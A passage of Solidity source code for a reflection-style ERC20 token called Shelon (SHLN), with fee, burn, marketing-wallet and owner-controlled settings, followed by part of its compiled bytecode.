bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shelon is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingAddress = 0xe084fA87fA39B6Decc715F81D2d53b5D8aab4FB0; // Marketing Address
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Shelon";
string private _symbol = "SHLN";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _marketingFee = 1;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _burnFee = 3;
uint256 private _previousBurnFee = _burnFee;
uint256 public _maxTxAmount = 3000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
uint256 burnAmt = amount.mul(_burnFee).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount.sub(burnAmt));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount.sub(burnAmt));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount.sub(burnAmt));
} else {
_transferStandard(sender, recipient, amount.sub(burnAmt));
}
_taxFee = 0; _marketingFee = 0;
_transferStandard(sender, address(0), burnAmt);
_taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee;
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tMarketing = calculateMarketingFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing);
return (tTransferAmount, tFee, tMarketing);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeMarketing(uint256 tMarketing) private {
uint256 currentRate = _getRate();
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[marketingAddress] = _rOwned[marketingAddress].add(rMarketing);
if(_isExcluded[marketingAddress])
_tOwned[marketingAddress] = _tOwned[marketingAddress].add(tMarketing);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _marketingFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_marketingFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFee(uint256 burnFee) external onlyOwner{
_burnFee = burnFee;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = _marketingAddress;
}
} | 0x608060405234801561001057600080fd5b50600436106102065760003560e01c806352390c021161011a57806395d89b41116100ad578063c0b0fda21161007c578063c0b0fda214610603578063dd62ed3e14610621578063ea2f0b3714610651578063ec28438a1461066d578063f2fde38b1461068957610206565b806395d89b4114610567578063a457c2d714610585578063a5ece941146105b5578063a9059cbb146105d357610206565b80637d1db4a5116100e95780637d1db4a5146104df57806388f82020146104fd5780638da5cb5b1461052d578063906e9dd01461054b57610206565b806352390c02146104595780635342acb41461047557806370a08231146104a5578063715018a6146104d557610206565b80632d8381191161019d5780633b124fe71161016c5780633b124fe7146103b75780633bd5d173146103d5578063437823ec146103f15780634549b0391461040d5780634bf2c7c91461043d57610206565b80632d8381191461031d578063313ce5671461034d5780633685d4191461036b578063395093511461038757610206565b806318160ddd116101d957806318160ddd1461029357806322976e0d146102b157806323b872dd146102cf57806327c8f835146102ff57610206565b8063061c82d01461020b57806306fdde0314610227578063095ea7b31461024557806313114a9d14610275575b600080fd5b61022560048036038101906102209190613a5b565b6106a5565b005b61022f610744565b60405161023c9190613d55565b60405180910390f35b61025f600480360381019061025a9190613a1f565b6107d6565b60405161026c9190613d3a565b60405180910390f35b61027d6107f4565b60405161028a9190613f37565b60405180910390f35b61029b6107fe565b6040516102a89190613f37565b60405180910390f35b6102b9610808565b6040516102c69190613f37565b60405180910390f35b6102e960048036038101906102e491906139d0565b61080e565b6040516102f69190613d3a565b60405180910390f35b6103076108e7565b6040516103149190613d1f565b60405180910390f35b61033760048036038101906103329190613a5b565b61090b565b6040516103449190613f37565b60405180910390f35b610355610979565b6040516103629190613f52565b60405180910390f35b6103856004803603810190610380919061396b565b610990565b005b6103a1600480360381019061039c9190613a1f565b610d77565b6040516103ae9190613d3a565b60405180910390f35b6103bf610e2a565b6040516103cc9190613f37565b60405180910390f35b6103ef60048036038101906103ea9190613a5b565b610e30565b005b61040b6004803603810190610406919061396b565b610fab565b005b61042760048036038101906104229190613a84565b61109b565b6040516104349190613f37565b60405180910390f35b61045760048036038101906104529190613a5b565b61111f565b005b610473600480360381019061046e919061396b565b6111be565b005b61048f600480360381019061048a919061396b565b611472565b60405161049c9190613d3a565b60405180910390f35b6104bf60048036038101906104ba919061396b565b6114c8565b6040516104cc9190613f37565b60405180910390f35b6104dd6115b3565b005b6104e7611706565b6040516104f49190613f37565b60405180910390f35b6105176004803603810190610512919061396b565b61170c565b6040516105249190613d3a565b60405180910390f35b610535611762565b6040516105429190613d1f565b60405180910390f35b6105656004803603810190610560919061396b565b61178b565b005b61056f611864565b60405161057c9190613d55565b60405180910390f35b61059f600480360381019061059a9190613a1f565b6118f6565b6040516105ac9190613d3a565b60405180910390f35b6105bd6119c3565b6040516105ca9190613d1f565b60405180910390f35b6105ed60048036038101906105e89190613a1f565b6119e9565b6040516105fa9190613d3a565b60405180910390f35b61060b611a07565b6040516106189190613f37565b60405180910390f35b61063b60048036038101906106369190613994565b611a0d565b6040516106489190613f37565b60405180910390f35b61066b6004803603810190610666919061396b565b611a94565b005b61068760048036038101906106829190613a5b565b611b84565b005b6106a3600480360381019061069e919061396b565b611c23565b005b6106ad611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073190613e97565b60405180910390fd5b8060108190555050565b6060600d805461075390614126565b80601f016020809104026020016040519081016040528092919081815260200182805461077f90614126565b80156107cc5780601f106107a1576101008083540402835291602001916107cc565b820191906000526020600020905b8154815290600101906020018083116107af57829003601f168201915b5050505050905090565b60006107ea6107e3611de5565b8484611ded565b6001905092915050565b6000600c54905090565b6000600a54905090565b60125481565b600061081b848484611fb8565b6108dc84610827611de5565b6108d78560405180606001604052806028815260200161463f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088d611de5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225f9092919063ffffffff16565b611ded565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600b54821115610952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094990613d97565b60405180910390fd5b600061095c6122c3565b905061097181846122ee90919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b610998611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90613e97565b60405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890613e17565b60405180910390fd5b60005b600980549050811015610d73578173ffffffffffffffffffffffffffffffffffffffff1660098281548110610b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d605760096001600980549050610b6d919061406a565b81548110610ba4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660098281548110610c09577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009805480610d26577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d73565b8080610d6b90614158565b915050610ab4565b5050565b6000610e20610d84611de5565b84610e1b8560066000610d95611de5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b611ded565b6001905092915050565b60105481565b6000610e3a611de5565b9050600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec090613f17565b60405180910390fd5b6000610ed483612396565b50505050509050610f2d81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8581600b546123f290919063ffffffff16565b600b81905550610fa083600c5461233890919063ffffffff16565b600c81905550505050565b610fb3611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790613e97565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d990613e37565b60405180910390fd5b816111025760006110f284612396565b5050505050905080915050611119565b600061110d84612396565b50505050915050809150505b92915050565b611127611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90613e97565b60405180910390fd5b8060148190555050565b6111c6611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90613e97565b60405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790613e17565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113b457611370600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461090b565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561156357600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506115ae565b6115ab600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461090b565b90505b919050565b6115bb611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163f90613e97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611793611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613e97565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600e805461187390614126565b80601f016020809104026020016040519081016040528092919081815260200182805461189f90614126565b80156118ec5780601f106118c1576101008083540402835291602001916118ec565b820191906000526020600020905b8154815290600101906020018083116118cf57829003601f168201915b5050505050905090565b60006119b9611903611de5565b846119b485604051806060016040528060258152602001614667602591396006600061192d611de5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225f9092919063ffffffff16565b611ded565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006119fd6119f6611de5565b8484611fb8565b6001905092915050565b60145481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a9c611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2090613e97565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b8c611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1090613e97565b60405180910390fd5b8060168190555050565b611c2b611de5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90613e97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f90613db7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5490613ef7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec490613dd7565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611fab9190613f37565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f90613ed7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612098576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208f90613d77565b60405180910390fd5b600081116120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290613eb7565b60405180910390fd5b6120e3611762565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121515750612121611762565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561219c5760165481111561219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219290613e57565b60405180910390fd5b5b600060019050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122435750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561224d57600090505b6122598484848461243c565b50505050565b60008383111582906122a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229e9190613d55565b60405180910390fd5b50600083856122b6919061406a565b9050809150509392505050565b60008060006122d0612736565b915091506122e781836122ee90919063ffffffff16565b9250505090565b600061233083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a81565b905092915050565b60008082846123479190613f89565b90508381101561238c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238390613df7565b60405180910390fd5b8091505092915050565b60008060008060008060008060006123ad8a612ae4565b92509250925060008060006123cb8d86866123c66122c3565b612b3e565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061243483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061225f565b905092915050565b8061244a57612449612bc7565b5b6000612474606461246660145486612c2990919063ffffffff16565b6122ee90919063ffffffff16565b9050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125195750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125405761253b8585612536848761